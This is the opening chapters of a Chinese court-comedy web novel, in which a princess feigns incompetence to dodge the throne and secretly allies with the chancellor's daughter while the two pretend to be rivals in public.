《死对头要我娶她共掌天下》
1. 王女降世
大周朝皇宫,产房外的气氛很是诡异。
皇帝姬明玥在门外踱步,脸上没有紧张,没有焦虑,只有一种即将解脱的期待。
产房里传来一声响亮的啼哭。
“生了!生了!是位王女!”
产婆抱着襁褓冲出来报喜时,皇帝如释重负的舒了口气。
她接过皱巴巴的小婴儿,低头看了一眼。
便听产婆小心翼翼地说:“陛下……王爷请您进去。”
皇帝抱着孩子走进产房。
姬明琅躺在床上,脸色苍白,满头是汗,却带着灿烂的笑意。
她虚弱的开口:“皇姐,您看臣女这面相……天庭饱满,地阁方圆,一看就是当皇帝的料啊!”
皇帝深以为然地点点头:“朕也觉得,看这小眉头皱的,跟批奏折时的朕一模一样。”
旁边候着的太医、宫女们面面相觑。
这话……是夸人吧?
应该是吧?
“名想好了吗?”皇帝问。
“昭荧。”
姬明琅毫不犹豫道:“日月昭昭,荧荧其光,皇姐,您觉得如何?”
“甚好。”
皇帝满意地笑了:“等她周岁,朕亲自赐字——明曜,如日月明曜,光耀大周。”
两人对视一眼,都在对方眼中看到了同样的意思:
快长大吧,小祖宗,我们给你准备了“好东西”。
姬明琅撑着身子坐起来一点,看着皇帝怀里的孩子,突然眼眶一红哽咽道:
“皇姐,臣……臣终于完成任务了。”
皇帝拍拍她的肩,语气沉重:“辛苦了,接下来……就等她了。”
“等她长大了,我们就能……”
“就能云游四海,吃喝玩乐,再也不用看奏折了。”
“对!”
两人再次对视,眼中闪烁着对未来的美好憧憬。
仿佛已经看到了十几年后,她们把玉玺往姬昭荧手里一塞,然后潇洒离去的画面。
——
姬昭荧的童年,是在堪称魔幻的氛围中度过的。
她三岁开蒙,太傅是当世大儒,教她读的第一本书不是《千字文》,而是《帝范》。
她五岁习武,师父是禁军统领,教她的第一招不是强身健体,而是“如何在遇刺时优雅地躲到侍卫身后并迅速判断局势”。
她七岁学琴,琴师是宫廷第一乐师。
据说为了方便她将来上朝时不打瞌睡,教她的第一首曲子不是《高山流水》,而是《朝会进行曲》。
皇帝姨母每次见她,都会摸着她的头,慈爱地说:“明曜啊,今天又学了什么?要好好学,将来……”
话没说完,但眼神里的期待都快溢出来了。
母王更夸张,每次从封地回京,第一件事就是抱着她痛哭流涕:
“荧儿啊,为娘看你如此聪慧,除了皇位,这世上还有什么配得上你?”
小昭荧当时还不懂“皇位”是什么意思,但她隐约觉得,那大概是个很重的东西。
因为每次姨母提起它时,肩膀都会不自觉地垮一下。
每次母王说起它时,眼神都会飘向远方,仿佛在怀念什么自由自在的日子。
——
十岁那年春天,发生了一件小事。
那天昭荧该去御书房背《治国策》第三章,关于漕运的部分给姬明玥听。
她抱着书慢吞吞地往御书房走,心里想着待会背完能不能去御花园逗逗湖里的锦鲤。
走到门口,正要推门,却听见里面传来姨母和母王刻意压低的声音。
“……朕真的受不了了,昨天南疆又上折子要钱修路,户部说没钱,工部说必须修,两边在朝堂上吵了半个时辰,朕坐在上面,感觉自己像个判官。”
“皇姐,我懂。”母王的声音深表同情。
“我封地那个刺史,上月非要我批个什么水利工程,我看了三天图纸,眼睛都快瞎了,最后我问她:
这工程不修会死人不?她说不会,我说那修它干嘛?她看我的眼神像看傻子。”
两人同时叹了口气,突然抱在一起哭了起来:
“明曜什么时候才能长大啊……朕看她最近功课不错,太傅夸她有悟性。”
“快了吧,再过几年就能监国试试了.......”
母王的声音突然兴奋起来:“皇姐,等她十五岁,咱们就说要云游四海,把朝政丢给她……”
“不妥不妥,十五太小,压不住那些老狐狸,十八吧,十八及笄,正好。”
“那还得等八年……”
“八年就八年,总比没有盼头强。”
门外,十岁的姬昭荧抱着书,一动不动。
她好像……听懂了什么。
皇位等于姨母每天要坐在上面听人吵架。
皇位等于母王要看看不懂的图纸。
皇位等于一个很重的东西,重到姨母和母王都想赶紧扔给她。
她低头看了看自己的小手。
又想了想御书房里那张巨大的龙椅。
……
那天昭荧没进去背书。
她抱着书,转身,快步走回了自己的寝宫。
路上遇到了太傅。
“王女,今日的《治国策》……”
“太傅。”
昭荧抬起头,露出一个乖巧的笑:“我肚子疼,明天再背可以吗?”
太傅看着她吓得苍白的小脸,心疼地点点头:“快去休息吧,功课不急。”
从那天起,姬昭荧的人生轨迹,发生了一点微妙的偏移。
——
十一岁,皇家秋猎。
按照惯例,皇室子弟要展示骑射功夫。
往年昭荧都是中规中矩,不算突出也不丢人,但这一年,她骑着马冲进猎场,拉弓,放箭——
箭歪歪斜斜地飞出去,扎在了一棵树上,离最近的兔子还有十丈远。
全场寂静。
皇帝的笑容僵在脸上。
母王手里的茶杯差点掉地上。
昭荧挠挠头,一脸无辜:“这弓……有点重!”
从那以后,她骑射课的成绩就没及格过。
——
十二岁,宫学月考。
考的是《诗经》。
昭荧交上去的卷子,字写得歪歪扭扭,还把“关关雎鸠”写成了“关关雎鸡”。
太傅拿着卷子,手在抖。
“王女,‘雎鸠’是一种鸟,不是‘鸡’……”
“啊?”昭荧眨眨眼:“我看它们长得差不多啊。”
太傅深吸一口气,告诉自己:孩子还小,孩子还小。
但第二个月,昭荧又把“窈窕淑女”写成了“窈窕叔女”。
太傅终于崩溃了,跑去向皇帝请罪:“臣无能,教不好王女……”
皇帝看着那份卷子,沉默了很久。
最后说:“罢了,孩子……可能不开窍。”
——
十三岁,宫廷宴席。
有使臣来朝,席间提议让皇室子弟展示才艺。
昭荧被点名弹琴。
她坐在琴前,深吸一口气,弹出了一串堪比锯木头的声音。
使臣的表情很精彩。
皇帝扶住了额头。
母王默默捂住了脸。
弹到一半,琴弦还“啪”一声断了。
昭荧站起来,一脸抱歉:“这琴……质量不太行?”
从那以后,再没人让她在公开场合弹琴。
渐渐地,京城开始有流言。
“听说了吗?王女好像
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……不太聪明。”
“何止不聪明,骑射不行,读书不行,连琴都弹不好。”
“可惜了,陛下那般英明,王爷也是个人精,怎么生出个……”
“嘘,小声点!”
流言传到宫里,皇帝和母王坐在一起,相对无言。
“皇姐,荧儿她……是不是真的……”
“不可能,朕看过她三岁时写的字,端正得很,她一定是……一定是……”
是什么?
两人都说不出来。
最后皇帝叹了口气:“再看看吧。”
——
十四岁,昭荧遇到了裴泠箬。
那天是宫学开学的第一天。
昭荧迟到,匆匆跑进学堂时,差点撞上一个人。
一个和她差不多大的少年,穿着淡青色的衣裙,站得笔直,像一株新竹。
“抱歉。”昭荧随口说了一句,就要往里走。
“王女。”少年开口,声音清泠:“您的衣带散了。”
昭荧低头一看,还真是。
她胡乱系了两下,没系好。
少年叹了口气,走上前来,手指灵巧地帮她重新系好。
动作优雅,一丝不苟。
“好了。”少年退后一步,微微颔首:“臣女裴泠箬,家父是宰相裴文渊。”
昭荧看着她。
裴泠箬。
京城有名的“别人家的孩子”,三岁能诗,五岁能文,七岁通晓音律,十岁就能和父亲谈论朝政。
完美得像个假人。
“哦。”昭荧应了一声,没什么兴趣地转身走了。
——
第一堂课是策论。
太傅出了题:“论漕运之利。”
昭荧打了个哈欠,随手在纸上画了只王八。
画到一半,她感觉到一道视线,抬头,正好对上裴泠箬的眼睛。
那双眼睛里没有鄙夷,没有惊讶,倒像是在透过她看别的什么。
昭荧心里一动,故意把墨弄翻,洒了一桌子。
“哎呀!”她叫了一声。
太傅看过来,皱眉:“王女,小心些。”
裴泠箬却突然站起身:“太傅,学生可否帮王女收拾?”
太傅点头。
裴泠箬走过来,拿起帕子,慢慢擦着桌上的墨渍,擦到昭荧面前时,她用只有两人能听到的声音说:
“王女画功不错。”
昭荧挑眉。
“但王八的尾巴,应该再短一点。”
说完,她收起帕子,转身回了座位。
留下昭荧一个人,看着纸上那只王八,愣了很久。
放学后,昭荧没有直接回宫,她在宫学外的老树下等了很久。
等到夕阳西下,裴泠箬终于一个人走出来。
“喂。”昭荧叫住她。
裴泠箬停下脚步,转身,行礼:“王女。”
“你白天那句话,什么意思?”
裴泠箬沉默了一会儿。
然后她说:“王女觉得是什么意思,就是什么意思。”
“我觉得你在讽刺我。”
“那臣女就是在讽刺王女。”
昭荧笑了。
“裴泠箬,你也不容易吧?”
“王女何出此言?”
“你看你,站得比太傅还直,笑都不敢笑,装的不累吗?”
很久,裴泠箬才轻声说:“王女装傻,累不累?”
两人对视,昭荧先笑出声。
“累啊。”她说:“累死了。”
裴泠箬也跟着浅笑出声。
“那......”昭荧伸出手:“合作吗?”
裴泠箬看着她伸出的手,又看看她的眼睛,毅然决然的握了上去:
“合作。”
2. 别人口中的你
裴泠箬回到相府时,天色已黑。
宰相裴文渊正在书房等她。
“父亲。”她规规矩矩地行礼,站姿端正,连裙摆的褶皱都一丝不苟。
裴文渊放下手中书本,示意女儿坐下。
“今日宫学如何?”他问。
“尚可。”裴泠箬答得简短。
“可曾与王女接触?”
裴泠箬垂眸,竟是下意识撒了谎:“不过是同处一堂,听太傅授课罢了,王女坐在前排,女儿坐在后排,未曾有过私下接触。”
她说得坦然,甚至连呼吸的频率都没有变。
裴文渊盯着她看了片刻,终于点点头,语气缓和了些:
“如此便好,让你入宫学是遵旨,陛下亲自开口,裴家不能推拒,但你要记住——”
他顿了顿,语气沉下来:“姬昭荧王女,纨绔成性,不学无术,京城皆知,你万万不可与她沾染,免得被带坏了名声。”
“女儿明白。”
“你自幼聪慧,为父对你寄予厚望。”
裴文渊站起身,走到窗前,背对着她:“裴家世代忠良,你兄长资质平庸,不堪大用,将来能撑起门楣的唯有你。
陛下让你入宫学,未必没有别的意思……你要把握机会,多专心学业,莫被旁人分心。”
“是。”
“下去吧。”
裴泠箬再次行礼,转身退出书房。
直到回到自己的院落,关上房门,她才轻轻舒了口气。
贴身侍女青竹迎上来:“小姐,热水备好了。”
“嗯。”
裴泠箬走到梳妆台前坐下,青竹熟练地帮她卸下发簪,铜镜里映出一张清丽却略显苍白的脸,眉眼精致,却没什么表情,像一尊精心雕琢的玉像。
“小姐今日在宫学可还适应?”青竹轻声问。
“尚可。”
“那……见到王女了吗?”
裴泠箬回忆了一下,想起白天那个差点撞上自己的少年:衣带散乱,头发也有些毛躁,笑起来时眼睛弯弯的,却藏着一种她熟悉的东西。
装,对,就是装的感觉。
“王女她……”青竹小心翼翼地问:“真如传闻中那般不堪吗?”
裴泠箬沉默了片刻。
“她画了只王八。”她突然说。
青竹一愣:“什么?”
“在策论纸上她画了一只王八。”
青竹瞪大了眼睛,一时不知该作何反应。
裴泠箬却不再多说,只是站起身:“沐浴吧。”
褪去外衣,浸入温热的水中,她才真正放松下来,闭上眼的瞬间,脑海里又浮现出姬昭荧最后说的那句话——
“合作吗?”
还有那只伸过来的手。
手指修长,掌心有薄茧,是常年习武留下的痕迹,可就是这样一双手,今天在课堂上连笔都握不稳,写出来的字歪歪扭扭,奇丑无比。
裴泠箬睁开眼,看着水中自己模糊的倒影。
她想起父亲的话:“万万不可与她沾染。”
想起这些年,外界打量她的眼神像在评估一件精美的瓷器,看胎质是否细腻,釉色是否均匀,有没有瑕疵。
完美。
她必须完美。
因为她是宰相之女,因为裴家的门楣需要她来撑起,因为陛下让她入宫学“未必没有别的意思”。
而姬昭荧呢?
那个据说“纨绔成性”“不学无术”的王女,竟敢在纸上光明正大的画王八,她肩上的担子怕是比自己重吧?
她抬起手,看着自己纤细的手指,这双手会弹琴,会写字,会绣花,会做一切“贵女该会”的事。
却从没画过王八。
——
与此同时,皇宫。
姬昭荧慢吞吞地走进御书房时,皇帝姬明玥已经等了她半个时辰。
“姨母。”她要死不活的行了一礼。
姬明玥坐在书案后,手里拿着本奏折,抬眼看了看她,又看了看窗外的天色。
“宫学申时散学,现在酉时三刻,这两个时辰,你去哪了?”
昭荧眨眨眼:“路上……看蚂蚁搬家来着。”
“……”
姬明玥放下奏折,揉了揉眉心。
“明曜。”
她叹了口气,语气里颇有种“朕已经尽力了但孩子就是不争气”的无奈:“你今年十四了,该懂事了。”
“我很懂事啊。”昭荧一脸无辜:“我都没踩那些蚂蚁。”
姬明玥盯着她看了三秒,决定先跳过这个话题。
“今日宫学如何?”
忽然想到什么,她换了个问法:“太傅教了什么?”
“《诗经》。”
昭荧答得飞快:“关关雎鸠,在河之洲——姨母,雎鸠长什么样?好吃吗?”
“……”
姬明玥的嘴角抽了抽。
“除了《诗经》,还学了什么?”
“没了。”
昭荧想了想,又补充:“哦对了,太傅让我们写策论,题目是‘论漕运之利’。”
姬明玥眼睛一亮:“你写了什么?”
昭荧挠挠头:“我……我画了只王八。”
御书房里陷入了死寂。
姬明玥忽然觉得呼吸不过来了,她缓缓闭上眼睛,深吸一口气,再睁开时,脸上被迫恢复了平静。
“罢了。”
她说:“策论的事……以后再说,朕今日叫你来,是有别的事。”
昭荧竖起耳朵。
“裴相的女儿,裴泠箬,今日也入宫学了。”
姬明玥看着她,语气慈爱又带着某种期待:“那孩子才华出众,品行端正,是京城有名的才女,朕特地召她入宫,你多跟她接触接触,好好向她学习,别总胡闹。”
昭荧心下一动,脸上却立刻露出不耐烦的表情:
“裴泠箬?哦~就那个整天端着、走路都不带喘气的?”
“什么叫‘不带喘气’?”姬明玥皱眉。
“就是……太规矩了,没意思。”
昭荧撇撇嘴:“我才不跟她玩。”
“胡闹!”
姬明玥板起脸:“朕让你跟她学习,不是让你跟她‘玩’,从明日起,策论若有不懂的,多向裴小姐请教,太傅年纪大了,经不起你气,裴小姐性子沉稳,正好管管你。”
昭荧低下头,脚尖在地上画圈,嘴里小声嘀咕:“她能管我什么……”
“你说什么?”
“没什么。”
昭荧抬起头,露出一个乖巧但假得明显的笑:“姨母放心,我一定……好好向裴小姐学习。”
姬明玥看着她那副样子,又是一阵头疼。
她挥挥手:“下去吧,记得朕的话。”
“是。
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”
昭荧转身溜出御书房,直到走出老远,才松了口气。
她回头看了眼灯火通明的御书房,嘴角慢慢勾起一个笑。
“多向裴小姐请教?”
她低声自语:“那当然得‘好好请教’了。”
——
第二天,宫学。
昭荧特意迟到了一刻钟。
她抱着书冲进学堂时,太傅已经开始讲课了,她也不着急,慢悠悠地走到自己的座位。
坐下时,她“不小心”碰掉了裴泠箬桌上的笔。
“抱歉抱歉。”她弯腰去捡,抬头时对裴泠箬眨了眨眼。
裴泠箬面无表情地接过笔,放回桌上。
太傅在讲台上咳嗽一声:“王女,请坐好。”
昭荧坐直身子,一副认真听讲的样子。
但没过一会儿,她又开始了。
先是笔掉在地上,滚到了裴泠箬脚边。
然后书页被风吹乱,她手忙脚乱地收拾,胳膊肘“不小心”撞到了裴泠箬的桌子。
接着是研墨时墨汁溅出来,几滴落在了裴泠箬的袖口上。
每一次,她都会压低声音说“抱歉”,每一次,裴泠箬都会淡淡回一句“无妨”。
太傅的眉头越皱越紧。
终于,在昭荧第三次“不小心”碰到裴泠箬时,太傅忍不住了。
“王女!”他沉声道:“你若坐不住,便出去站着!”
昭荧立刻低下头,一副委屈巴巴的样子:“学生知错……”
“太傅。”
裴泠箬突然开口:“王女并非故意,学生坐得近,难免有些碰撞,不妨事的。”
太傅一愣,看了看裴泠箬,又看了看昭荧,最后叹了口气:“既裴小姐这般说了,罢了……王女,请你专心些。”
“是。”昭荧乖乖应声。
等太傅转身继续讲课,她才偷偷侧过头,对裴泠箬做了个口型:
“谢了。”
裴泠箬垂眸看着书页,不作回应。
但昭荧分明看见,她扬起的嘴角是在笑吧。
——
散学时,昭荧故意磨蹭到最后。
等学堂里的人都走光了,她才慢吞吞地收拾东西,裴泠箬也还没走,正仔细地将毛笔一支支收入笔帘。
“喂。”昭荧凑过去:“白天多谢你啊。”
裴泠箬动作不停:“王女在说什么?学生听不懂。”
“装。”
昭荧笑:“不过装得挺好,太傅都没看出来。”
裴泠箬终于抬眼看了她一下:“王女今日的‘表演’,也很精彩。”
“彼此彼此。”
昭荧在她旁边的座位坐下,翘起腿:“我姨母让我多跟你学习,说你‘才华出众,品行端正’。”
“陛下过誉了。”
昭荧看着她,却突然问:“你累不累?”
“什么?”
“整天这么端着。”
昭荧指了指她的坐姿:“背挺这么直,脖子不酸吗?”
裴泠箬沉默了片刻。
“习惯了。”她说。
“习惯也可以改啊。”
昭荧站起身,伸了个懒腰,动作随意又散漫:“走,带你去个地方。”
裴泠箬疑惑:“去哪?”
“好地方。”
昭荧冲她招手:“放心,不会卖了你。”
3. 知根知底
姬昭荧带着裴泠箬在皇宫里七拐八绕,穿过几处几乎没人去的荒废宫苑,最后停在一座破楼前。
楼上的牌匾歪着,勉强能认出“藏书阁”三个字,漆掉得差不多了,门前石阶缝里长满杂草,墙角挂满了蜘蛛网。
“到了。”
裴泠箬站在三步外,眉头微皱。
她今天穿一身月白色绣竹纹的衣裙,头发也梳得一丝不苟,站在这破地方前头,倒像一幅名画被揉皱丢在了废纸堆里。
“王女说的好地方,就是这儿?”她问,声音还算平静,但昭荧听出了一点嫌弃。
“对啊。”
昭荧推开门,一股灰味扑面而来,她回头咧嘴笑:“进来吧,里面更有意思。”
裴泠箬不肯动。
她低头看看自己干净的绣鞋,又抬头看看门里灰扑扑的样子,刚鼓足勇气深吸一口气,就被呛到咳嗽起来。
做了好一番心里斗争后,她从袖子里掏出块手帕,叠好捂住口鼻,这才抬脚进去。
藏书阁里头比外头还破。
书架东倒西歪,大部分都空了,少数几排还堆着些破书烂卷轴,上头积着厚厚的灰。
墙角有老鼠跑过的声音,破窗户透进几缕夕阳,光柱里飘着灰。
昭荧熟门熟路走到最里面,推开一个歪书架,后头居然藏着个还算干净的小角落。
地上铺着几张旧草席,席上扔着两个褪色的蒲团,旁边有个小木箱,箱盖上摆着半截蜡烛和火折子。
“怎么样?”
昭荧一屁股坐在蒲团上,拍了拍身边:“我收拾的,还行吧?”
裴泠箬站在入口,目光慢慢扫过这地方。
草席边磨破了,蒲团上有可疑的污渍,木箱漆都掉了。
她沉默了一会儿,走到昭荧对面,又从袖子里掏出一块干净帕子仔细铺在草席上,这才跪坐下来。
坐得还是那么端正,背挺得笔直,手叠在膝盖上,像在参加什么正经宴会。
把昭荧看得直乐:“裴小姐,这儿就咱俩,不用这么端着。”
“习惯了。”裴泠箬淡淡道:“王女带学生来这儿,应该不只是为了看这地方吧?”
“当然不是。”
昭荧收起笑,盘腿坐直了些,难得正经起来:“我带你来这儿,是因为有些话,只能在没人的地方说。”
裴泠箬静静看着她,等待下文。
“我十岁那年,偷听到我姨母和我母王说话。”
“她们在御书房里抱头痛哭,一个说批奏折批得眼睛快瞎了,一个说看图纸看得想吐,然后她们开始算我还要几年才能接位,她们还要熬多久才能去游山玩水。”
她自嘲的笑了笑:“那时候我才知道,原来皇位在她们眼里是个烫手山芋,我姨母根本不想当皇帝,当年是被硬推上去的。
我母王生我,也不是为了争权,就是为了给我姨母找个接班的。”
裴泠箬的眼睛微微睁大了一些。
“当皇帝有什么好?”
昭荧掰着手指头数:“天天早起上朝,听一群老头子吵架;
批不完的奏折,防不完的算计;
南疆要钱修路,北境要粮赈灾,东边闹水,西边有乱;
做对了是应该的,做错了就是昏君,一辈子困在这宫里,想去江南看个桃花都要被骂是“劳民伤财。”
她抬起头:“你说,这位置谁爱坐谁坐,反正我不坐。”
阁楼里安静下来。
只有窗外风吹破窗户的呜呜声,和远处隐约的宫人走路声。
裴泠箬坐在那儿,看着对面的人一时不知如何消化这些信息。
“王女……您知道吗,您说的这些,是多少人拼了命也想抢到的东西?”
昭荧耸肩:“知道啊,不然我装傻做什么?我就是要让所有人都觉得,姬昭荧就是个扶不起的阿斗。
这样,那些做梦都想坐皇位的人,就会去争、去抢、去斗——只要别来找我就行。”
她顿了顿,又说:“当然,我姨母和母王可能也是这么想的吧,她们巴不得我继续烂下去,烂到所有人都放弃我,烂到她们可以说‘这孩子不行,咱们再想想办法’,虽然我也不知道她们还能想什么办法,毕竟我家就我一根独苗。”
裴泠箬沉默了好一会。
从小到大,母亲在时便教她忠君爱国,辅佐明主;
父亲则教她女子德容言功,端庄持重,将来要成为皇室最得力的帮手;
太傅教她经史子集,治国之道,“为天地立心,为生民立命”;
从来没人告诉过她,皇帝的位置,还可以被嫌弃。
“很可笑吧?”
昭荧的声音把她拉回来:“一家子都不想当皇帝,传出去能让人笑掉大牙。”
裴泠箬抬起头,看着昭荧。
夕阳从破窗户斜照进来,在昭荧脸上投下光影。
那张总是挂着玩世不恭笑容的脸上,现在有一种和她年龄不太符的疲惫和清醒。
“那王女为什么告诉我这些?”裴泠箬轻声问。
“因为我觉得……你跟我是一路人。”
“学生不明白。”
“你也在装。”
昭荧说得直接:“装完美,装端庄,装得好像天生就该是‘别人家的孩子’,但你之前看到我画的王八时,眼睛里有一种东西,‘我懂你在干什么’的东西。”
“裴泠箬,你活得累不累?”
阁楼里又安静下来。
远处传来报时的钟声,在暮色里回荡。
裴泠箬闭上眼,深吸一口气。
再睁开时,她脸上完美到挑不出毛病的样子,有了一点松动。
“累。”她吐出一字,声音轻得像叹气。
而后,像是打开了什么开关,更多话说了出来:
“三岁开始读书,每天天不亮就要起床;
五岁练字,写坏一支笔要跪祠堂;
七岁学琴,弹错一个音阶就不能吃饭;
十一岁学管家.....”
她停了停,嘴角扯出一个自嘲的笑:
“父亲说,裴家这一代,哥哥不行,撑不起门面,当不了官,我是女儿,陛下让我进宫学,是恩典的同时也暗示我要辅佐未来的皇帝.....”
“所以我要完美,琴棋书画要精,诗词歌赋要通,仪态容止要无可挑剔。
不能有喜好,不能有厌恶,不能有情绪,我是一尊玉像,摆在哪儿,就要完美到哪儿。”
昭荧安静听着。
等裴泠箬说完,她才开口:“我就知道你也是被迫的。”
“是。”
裴泠箬承认得很干脆:“我和王女一样,都在演一场身不由己的戏,只是王女演的是‘荒唐’,我演的是‘完美’。”
“那……我有个计划。”
裴泠箬看着她:“什么计划?”
“你帮我躲皇位,我帮你——”昭荧想了想:“轻松点?反正就是,在我这儿,你可以不用那么完美。”
裴泠箬沉默了一会儿。
然后,她问了个很实际的问题:“王女打算怎么躲皇位?继续在课堂上画王八?写错字?气太傅?”
昭荧一愣:“这些……不行吗?”
“太低级。”
裴泠箬摇头,语气里尽是“你这孩子想得太简单”的意思:
“王女知道陛下和王爷是什么人吗?她们能被你这些小把戏骗一时,能骗一辈子吗?
太傅、朝臣、天下人的眼睛都盯着您,您越是故意出错,越容易露馅。”
昭荧眨眨眼:“那你说怎么办?”
“第一,别再做那些低级错误,这些太明显,明眼人一看就知道是装的。”
“第二,换种办法,您不需要‘不会’,只需要‘不精’,策论可以写,但写些没新意的套话,
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骑射可以练,但永远保持中等偏下,琴可以弹,但只弹最简单的曲子。”
“第三,也是最重要的——”
她看着昭荧,一字一句说:“您要装的,不是一个‘傻子’,而是一个‘庸人’,一个资质普通、没大志向、就想过舒服日子的庸人,这样的人,不会有人指望她干大事,但也不会有人觉得她是在故意卖弄痴傻。”
昭荧听得目瞪口呆。
半晌,她才喃喃道:“裴泠箬,你……你真是个天才。”
“学生只是比王女多想了几步,还需要王女配合。”
“怎么配合?”
“人前,我们要维持‘相看两厌’的关系,您是纨绔王女,我是端庄贵女,我们互相看不顺眼,绝不亲近。
课堂上,您对我不屑一顾,我对您不齿为伍。
京里总把我们放在一起比较,你越是平庸便越显得我的突出,反之亦然,借此,我们都可以稍稍喘口气,也不会有人怀疑我们私下有交集。”
昭荧想了想,点头:“有道理,那私下呢?”
“私下……”
裴泠箬顿了顿:“就在这儿,您教我一些‘不端庄’的事,我帮您完善‘庸人’计划,我们互相帮助。”
她伸出手,不似姬昭荧那般随意,掌心向上,手指并拢,是个很正式的姿势。
“成交?”她问。
昭荧看着她伸出的手,又看看她挺直的背和严肃的脸,突然笑了。
她伸出手,“啪”一声拍在裴泠箬掌心。
“成交!”
裴泠箬被她拍得手一麻,眉头微皱。
昭荧却已经兴奋地在草席上转了个圈:
“太好了!从今天起,我就是有军师的人了!裴泠箬,你放心,我肯定把你教坏——不是,教得活泼一点!”
裴泠箬收回手,轻轻揉了揉被拍红的掌心,嘴角却不由自主地弯了弯。
“那王女打算先教学生什么?”
昭荧想了想,眼睛一亮:“先教你——爬树!”
裴泠箬:“……”
“开玩笑的。”
昭荧笑嘻嘻地蹲下,从木箱里翻出两个油纸包:“先教你吃这个。”
她打开油纸包,里面是几块看起来粗糙的糕点,边儿还有点焦糊。
“御膳房做的。”
昭荧拿起一块塞进嘴里,含糊不清地说:“尝尝,说不定比你们家那些精致点心实在。”
裴泠箬看着那几块卖相不怎么样的糕点,又看看她吃得香的样子,沉默了一会儿才说服自己用指尖拈起最小的一块,送到嘴边,小咬一口。
甜得腻人,还有点糊味……不太好吃。
但昭荧正眼巴巴看着她:“怎么样?”
裴泠箬慢慢咽下那口糕点,摇了摇头:“不好吃。”
“没品位!”昭荧干脆不给她吃了。
天快黑了,阁楼里越来越暗。
昭荧点着半截蜡烛,昏黄的光照亮这一小块地方。
两个少年,一个盘腿坐没坐相,一个跪坐端端正正;一个吃得满嘴渣,一个小口细嚼。
但她们却像相见恨晚一般,说学堂里的事,说家里的烦心事,说那些不能对别人说的、真实的想法。
直到宫灯亮起来,远处传来巡夜侍卫的脚步声,裴泠箬才站起身。
“该回去了。”她说。
“好。”昭荧也爬起来,拍了拍身上的灰:“明天学堂见?”
“嗯。”
两人一前一后走出藏书阁。
在岔路口,裴泠箬往左,回相府马车等的宫门;昭荧往右,回自己寝宫。
走了几步,昭荧突然回头喊:“喂,裴泠箬!”
裴泠箬停下脚步,回头看她。
“我字明曜,你呢?”
裴泠箬立在暮色里,月白衣裙被晚风拂动。
她静了片刻,才轻声答:“静攸。”
4. 针尖对麦芒
三月初的天气,说变就变。
早上还是晴空万里,到了宫学开课的时辰,天边就压过来一层厚云,闷得人喘不过气。
学堂里更是如此。
太傅站在讲台上,手里拿着《帝范》,讲到“纳谏”一章。
按规矩,这段本该由侍读讲解,但今日太傅亲自开口,视线时不时扫过后排几位宗室子弟,还有新入宫学的裴泠箬。
“……为人君者,当虚怀若谷,从谏如流,然纳谏易,辨谏难,何也?”
太傅顿了顿,视线落在前排那个神游天外的身影上:“王女,您来说说。”
姬昭荧正盯着窗外发呆。
她其实听见了,但不想动。
直到同桌轻轻捅了她一下,她才慢吞吞站起来,脸上挂着标准的“我什么都没听”的表情。
“太傅刚才问什么?”
太傅深吸一口气:“臣问,纳谏易,辨谏难,何也?”
“哦。”
昭荧想了想,一脸真诚:“因为进谏的人太多,分不清哪个是真话哪个是拍马屁?”
太傅一愣,这回答……倒也不算错。
但他还没来得及接话,昭荧又补了一句:“不过也无所谓吧?反正我又不用学这些。”
“王女何意?”
“我学这些做什么?我是王爷所出,全京城谁不知道,姨母本来就打算把皇位传给我,我学不学,将来都是天子。”
嗡——
学堂里瞬间炸了锅。
宗室子弟们面面相觑,几个世家贵女瞪大了眼,连太傅都愣在当场,被这一语惊到手抖得书都快拿不稳。
“王、王女!”
太傅脸色铁青:“此言差矣!储君之位,岂可——”
“怎么差了?”
昭荧打断他,一脸无辜:“我说错了吗?姨母又没别的孩子,皇位不给我给谁?太傅您别激动,我知道您想让我谦虚点,但这不是明摆着的事嘛。”
太傅张了张嘴,竟被噎得说不出话。
他能说什么?说“不一定”?那是大不敬。
说“确实如此”?那这课还怎么上?
就在这窒息般的死寂里,一个清冷的声音缓缓响起。
“王女此言差矣。”
裴泠箬站起身,月白色的衣裙一丝不苟,站姿端正得像一株松柏。
她目视前方,眼波平静,语气淡淡:
“天命归位,亦需德配位,若恃位而不学,恃宠而放纵,纵有天命,亦难服众。”
翻译成人话:你再摆烂,就算当皇帝也是废物。
全场倒吸一口凉气。
太傅手里的书差点掉地上,宗室子弟们眼睛瞪得像铜铃,几个世家贵女捂住了嘴,生怕自己叫出声来。
裴泠箬这是在干什么?她疯了?敢这么跟王女说话?
昭荧也愣了愣,遂即露出欠欠的、让人看了就想抽她的笑。
她转过身,上下打量裴泠箬,不以为意:“哎呀,裴小姐这话说的——”
她拖长声音,慢悠悠走回裴泠箬桌前,居高临下看着她:
“你们闻到没有?怎么这空气里突然酸酸的?裴小姐读了那么多书,琴棋书画样样精通,诗词歌赋无所不晓,将来也不过是入宫谋份差事、辅佐君王。
而我呢?什么都不用做,就注定是未来天子。”
她弯腰,凑近裴泠箬,确保全场都能听见她轻佻的声音:
“裴小姐,是心里不痛快了?”
针尖对麦芒,整个学堂安静得能听见窗外的风声,所有人都盯着她们俩,大气都不敢喘。
裴泠箬抬起头,对上那双玩味,挑衅的眼睛。
她淡淡开口:“臣女只知,德不配位,必有灾殃。”
顿了顿,一字一句:“王女好自为之。”
说完便垂眸,拿起笔,继续抄写刚才的笔记,仿佛什么都没发生过。
昭荧站在那儿,突然笑出声。
“有意思。”她低声嘟囔了一句,转身回自己座位,往椅背上一靠,继续看窗外。
太傅站在讲台上,手还在抖。
他看看左边的王女,又看看右边的裴小姐,脑子里只有一个想法:
要不……告老返乡吧。
——
散学时,天彻底阴了下来。
学生们三三两两往外走,交头接耳,窃窃私语。
“你听见没?王女那话也太——”
“裴小姐更厉害,直接怼回去,一点都不怕。”
“厉害什么?虽说她是宰相之女,如此大不敬,保不好已经跟王女结下梁子!”
“小声点,别让人听见……”
昭荧慢吞吞收拾东西,等人都走得差不多了,才起身往外走。
经过裴泠箬座位时,她脚步顿了顿。
裴泠箬还在整理笔墨,头也不抬。
昭荧哼了一声,大步走出去。
两人一个往东,一个往西,连余光都没给对方。
——
半个时辰后,废弃藏书阁。
昭荧推开门时,裴泠箬已经在了。
她站在一个破书架旁边,正抬头看墙上的一幅画。
也不知是什么年代挂在这儿的,画上的人脸都糊了,只剩个模糊的影子。
听见动静,她转过身。
还没开口,就见昭荧双手合十,对着她疯狂鞠躬:
“对不起对不起对不起!”
裴泠箬:“?”
昭荧一边鞠躬一边往她跟前凑:“白天在课堂上我话说太重了,你别往心里去啊!我不是故意的,全是演戏!你看我眼神,真诚不真诚?”
她抬起头,把眼睛睁得大大的,一脸乖巧,跟白天里嚣张跋扈的王女,判若两人。
裴泠箬看着她,嘴角微微上扬。
“我知道。”
